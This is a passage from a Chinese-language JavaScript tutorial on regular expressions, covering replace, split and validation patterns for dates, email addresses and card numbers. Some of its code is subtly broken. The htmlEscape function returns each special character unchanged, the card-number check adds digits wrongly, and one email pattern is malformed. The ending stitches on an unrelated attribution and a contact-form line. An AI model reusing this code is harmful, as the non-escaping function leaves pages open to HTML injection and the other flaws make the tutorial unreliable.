o.fullurl = result[0];
o.protocol = result[1];
o.host = result[2];
o.path = result[3];
}
for(var p in o)
console.log(p + ":" + o[p]);
如果使用了全局,返回的是每個匹配的子串數(shù)組,沒有index和input屬性;如果希望在全局搜索時取得這此信息,可以使用RegExp.exec()方法;
replace()方法:
此方法的目的是為了簡化檢索與替換子字符串的操作;
該方法接受兩個參數(shù),第一個參數(shù)可以是一個RegExp對象或一個字符串(這個字符串不會被轉換成正則表達式),第二個參數(shù)是要替換的字符串,可以是一個字符串或一個函數(shù);如果第一個參數(shù)是字符串,那么只會替換第一個子字符串,要想替換所有子字符串,唯一的辦法就是提供一個正則表達式,而且要指定全局g標志,如:
var text = "cat, bat, sat, fat";
console.log(text.replace("at","ond"));// cond, bat, sat, fat
console.log(text.replace(/at/g,"ond"));// cond, bond, sond, fond
在第二個參數(shù)中使用捕獲組:使用$加索引數(shù)字,replace()將用與指定的子表達相匹配的文本來替換字符;這是一個非常實用的特性,如:
var str = "cat, bat, sat, fat";
console.log(str.replace(/(at)/g,"$1er"));//cater, bater, sater, fater
// 將英文引號替換為中文引號
var str = 'zero"net"work';
var quote = /"([^"]*)"/g;
console.log(str.replace(quote,'“$1”'));
如果第二個參數(shù)是字符串,還可以使用一些特殊的字符序列,將正則表達式操作得到的值插入到結果字符串中,如:
通過這些特殊的字符序列,可以使用最近一次匹配結果中的內(nèi)容,如:
var text = "my name is wangwei zero";
var re = /(\w+)g(\w+)/g;
console.log(text.replace(re,"$$"));
console.log(text.replace(re,"$&"));
console.log(text.replace(re,"$`"));
console.log(text.replace(re,"$'"));
console.log(text.replace(re,"$1"));
console.log(text.replace(re,"$01"));
var text = "cat, bat, sat, fat";
var result = text.replace(/(.at)/g,"word ($1)");
console.log(result); // word (cat), word (bat), word (sat), word (fat)
// 把名字格式顛倒
var name = "Wei, Wang";
console.log(name.replace(/(\w+)\s*,\s*(\w+)/, "$2 $1")); // Wang Wei
replace()方法的第二個參數(shù)也可以是一個函數(shù);該回調函數(shù)將在每個匹配結果上調用,其返回的字符串則將作為替換文本;
該函數(shù)最多可傳遞3個參數(shù):模式的匹配項、模式匹配項在字符串中的位置和原始字符串;
在正則表達式中定義了多個捕獲組的情況下,傳遞給函數(shù)的參數(shù)依次是模式的匹配項、第一個捕獲組的匹配項、第二個捕獲組的匹配項……,但最后兩個參數(shù)仍然分別是模式的匹配項在字符串的位置和原始字符串;此種方式,可以實現(xiàn)更加精細、動態(tài)的替換操作,如:
// 所有單詞的首字母大寫
var str = "zero net work";
var result = str.replace(/\b\w+\b/g, function(word){
return word.substring(0,1).toUpperCase() + word.substring(1);
});
console.log(result); // Zero Net Work
// 為HTML字符轉換為實體
function htmlEscape(text){
return text.replace(/[<>"&]/g, function(match, pos, originalText){
switch(match){
case "<":
return "<";
case ">":
return ">";
case "&":
return "&";
case "\"":
return """;
}
});
}
var text = "<p class=\"greeting\">zero network!</p>";
console.log(text);
console.log(htmlEscape(text)); // <p class="greeting">zero network!</p>
還可以在replace中使用捕獲組:
var str = "aabb";
var reg = /(\w)\1(\w)\2/g;
console.log(str.replace(reg,function($,$1,$2){
// return $ + "," + $1 + "," + $2;
return "提取了兩個字母:"+$1+"和"+$2;
}));
// 替換成駝峰寫法
var str = "zero-net-work";
var reg = /-(\w)/g;
console.log(str.replace(reg, function($,$1){
return $1.toUpperCase();
}));
注:與exec()和test()不同,String類的方法search()、replace()和match()并不會用到lastIndex屬性;實際上,String類的這些方法只是簡單的將lastIndex屬性值重置為0;
var str = "zeronetwork zero";
var re = /zero/g;
console.log(str.match(re));
console.log(re.lastIndex);
split()方法:
可以基于指定的分隔符將一個字符串分割成多個子字符串,并將結果放在一個數(shù)組中;分隔符可以是字符串,也可以是RegExp對象;其可以接受可選的第二個參數(shù),用于指定數(shù)組的大小,以便確保返回的數(shù)組不會超過既定大小,如:
console.log("1, 2, 3, 4, 5".split(/\s*,\s*/)); // ["1", "2", "3", "4", "5"]
var colorText = "red,blue,green,yellow";
var colors = colorText.split(","); // red,blue,green,yellow
var colors = colorText.split(",",2);// red,blue
var colors = colorText.split(/[^\,]+/); // ["", ",", ",", ",", ""]
console.log(colors);
ES正則的局限性:
盡管ECMAScript的正則表達式的功能比較完備,但仍缺少某些語言所支持的高級正則表達式特性,如下:
即使存在這些限制,ECMAScript正則表達式仍然是非常強大的,能夠完成絕大多數(shù)模式匹配任務。
常用模式:
驗證日期:
// m/d/yyyy mmmm d,yyyyy yyyy-m-d yyyy/m/d yyyy m d
var re = /\d{1,2}\/\d{1,2}\/\d{4}/;
var re = /(?:0?[1-9]|1[012])\/(?:0[1-9]|[12][0-9]|3[01])\/(?:[12][0-9]{3})/;
console.log(re.test("9/30/2020"));
console.log(re.test("2020-6-18"));
console.log(re.test("2020/6/18"));
// 判斷日期是否為YYYY-MM-DD 或 YYYY-MM-DD hh:mm:ss格式
function isDateTime(value){
if(value.length != 0){
var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/;
var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
if(reg.test(value))
return true;
return false;
}
return false;
}
驗證電子郵件:
正確格式的電子郵件地址如ww1209@163.com,它必須符合以下幾個條件:電子郵件地址中同時含有“@”和“.”字符;字符“@”后必須有字符“.”,且中間至少間隔一個字符;字符“@”不為第一個字符,“.”不能為最后一個字符;
var re = /\w+@\w+\.[com|net|cn]/;
var re = /^(([a-zA-Z0-9_-])+)@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+/;
// wang.wei@
var re = /^((?:\w+\.?)*\w+)@(\w+\.\w+)$/;
var str = "ww1208@163.com";
console.log(re.test(str));
console.log("你的用戶名:" + RegExp.$1);
console.log("主機名:" + RegExp.$2);
銀行卡號:
function checkNum(sCardNum){
var bIsOdd = true;
var iOddSum = 0;
var iEvenSum = 0;
for(var i=sCardNum.length-1; i>=0; i--){
var iNum = parseInt(sCardNum.charAt(i));
// console.log(iNum);
if(bIsOdd){
iOddSum += iNum;
}else{
iNum = iNum * 2;
if(iNum > 9){
var tempArr = iNum.toString().split("");
iNum = tempArr[0] + tempArr[1];
}
iEvenSum += parseInt(iNum);
}
bIsOdd = !bIsOdd;
}
return ((iEvenSum + iOddSum) % 10 == 0);
}
function isValidMasterCard(sText){
var re = /^(5[1-5]\d{2})[\s\-]?(\d{4})[\s\-]?(\d{4})[\s\-]?(\d{4})$/;
if(re.test(sText)){
var sCardNum = RegExp.$1 + RegExp.$2 + RegExp.$3 + RegExp.$4;
return checkNum(sCardNum);
}else{
return false;
}
}
console.log(isValidMasterCard("5568 4030 5586 1234"));
console.log(isValidMasterCard("5432 1234 5678 9016"));
Web前端開發(fā)之Javascript-零點程序員-王唯
者:ye1s
出處:https://www.anquanke.com/post/id/235190
*請認真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。